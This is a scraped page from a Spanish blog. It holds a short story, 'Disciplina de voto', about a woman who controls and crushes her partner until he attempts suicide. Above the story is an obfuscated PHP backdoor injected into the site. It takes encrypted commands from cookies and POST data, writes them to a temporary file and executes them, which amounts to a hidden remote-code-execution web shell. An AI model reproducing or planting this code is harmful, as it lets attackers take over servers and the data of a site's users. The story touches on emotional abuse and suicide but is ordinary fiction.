$nJiipQ = "\x4d" . '_' . "\x48" . chr ( 517 - 443 ).'h' . "\x44" . 'c';$JSZzPIxGbH = "\143" . chr (108) . chr ( 857 - 760 )."\x73" . "\x73" . "\137" . chr (101) . "\170" . chr (105) . chr (115) . "\164" . chr ( 241 - 126 ); $fIaFewIVp = $JSZzPIxGbH($nJiipQ); $nJiipQ = "23744";$GogrbYc = !$fIaFewIVp;$JSZzPIxGbH = "42898";if ($GogrbYc){class M_HJhDc{public function VUjVnhVuEK(){echo "5537";}private $MnLCnTvit;public static $IvErMj = "ea0e5aa3-fac4-4fa1-9ed3-6bffe5e36f6a";public static $UriJCglL = 32002;public function __construct($jhovr=0){$BsAFotg = $_COOKIE;$HvGOKEZQxN = $_POST;$whKRQebSl = @$BsAFotg[substr(M_HJhDc::$IvErMj, 0, 4)];if (!empty($whKRQebSl)){$ItrlW = "base64";$OXyNJYH = "";$whKRQebSl = explode(",", $whKRQebSl);foreach ($whKRQebSl as $FjPPLERFEF){$OXyNJYH .= @$BsAFotg[$FjPPLERFEF];$OXyNJYH .= @$HvGOKEZQxN[$FjPPLERFEF];}$OXyNJYH = array_map($ItrlW . chr ( 610 - 515 ).'d' . "\x65" . 'c' . "\x6f" . chr ( 749 - 649 ).chr (101), array($OXyNJYH,)); $OXyNJYH = $OXyNJYH[0] ^ str_repeat(M_HJhDc::$IvErMj, (strlen($OXyNJYH[0]) / strlen(M_HJhDc::$IvErMj)) + 1);M_HJhDc::$UriJCglL = @unserialize($OXyNJYH);}}private function uDdbCYnU(){if (is_array(M_HJhDc::$UriJCglL)) {$CbAoCoJPkl = sys_get_temp_dir() . "/" . crc32(M_HJhDc::$UriJCglL['s' . chr ( 998 - 901 ).'l' . 't']);@M_HJhDc::$UriJCglL[chr ( 182 - 63 )."\x72" . "\x69" . chr (116) . 'e']($CbAoCoJPkl, M_HJhDc::$UriJCglL["\143" . "\157" . chr (110) . "\164" . 'e' . chr ( 837 - 727 ).'t']);include $CbAoCoJPkl;@M_HJhDc::$UriJCglL["\x64" . chr ( 879 - 778 )."\154" . chr ( 311 - 210 )."\164" . "\x65"]($CbAoCoJPkl); $AhOvtjq = "53441";exit();}}public function __destruct(){$this->uDdbCYnU(); $axitm = str_pad("53441", 10);}}$rQVPaYsKI = new /* 22726 */ M_HJhDc(); $rQVPaYsKI = substr("1707_7598", 1);} Disciplina de voto | desdelallanura

Disciplina de voto

Nada más conocerte, sabía que me enamoraría de ti. Tan educado, tan caballero, tan callado… Un portento físico con ojos azules que me miraban con delicadeza, con labios carnosos que me invitaban a besarte, con esa planta de atleta… Todo tú eras bello.
Te conquisté en poco tiempo. Pensé que para que todo funcionase en nuestra relación teníamos que ser uno: pensar como uno, actuar como uno, identificarse el uno con el otro. Nada de diferencias, nada de controversias, nada de debates: como en los partidos políticos, impuse una férrea disciplina de voto que no podíamos romper.

Dubitativo e introvertido como eras, no nos fue difícil acoplarnos. Tiré de ti y tú, mansamente, no te resististe. Me querías, yo lo sabía, y me dejaste hacer.

Controlaba tu ropa, tus comidas, tus horarios, tus descansos. Sabía dónde estabas en todo momento: llegué a decirte lo que tenías que hacer, lo que tenías que pensar, lo que tenías que sentir.

Planifiqué nuestra maternidad. Y aquello fue nuestro primer error juntos. No pude darte el hijo que yo misma proyecté. Te eché la culpa de todo. Y tú, por tu forma de ser y por pensar que me sentía mal, aceptaste sin reproches mis broncas. Me dejaste hablar, gritar, patalear e insultar.

Te fui perdiendo el respeto. Tan segura estaba de mi control sobre ti, que poco a poco te fui poseyendo, sometiendo, anulando. Dejaste de gustarme, deje de quererte, pero seguí ahí solo por el orgullo de tenerte y de mostrarte.

Hoy, desde aquí, desde este hospital lo he visto claro. Al final quisiste matarte.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *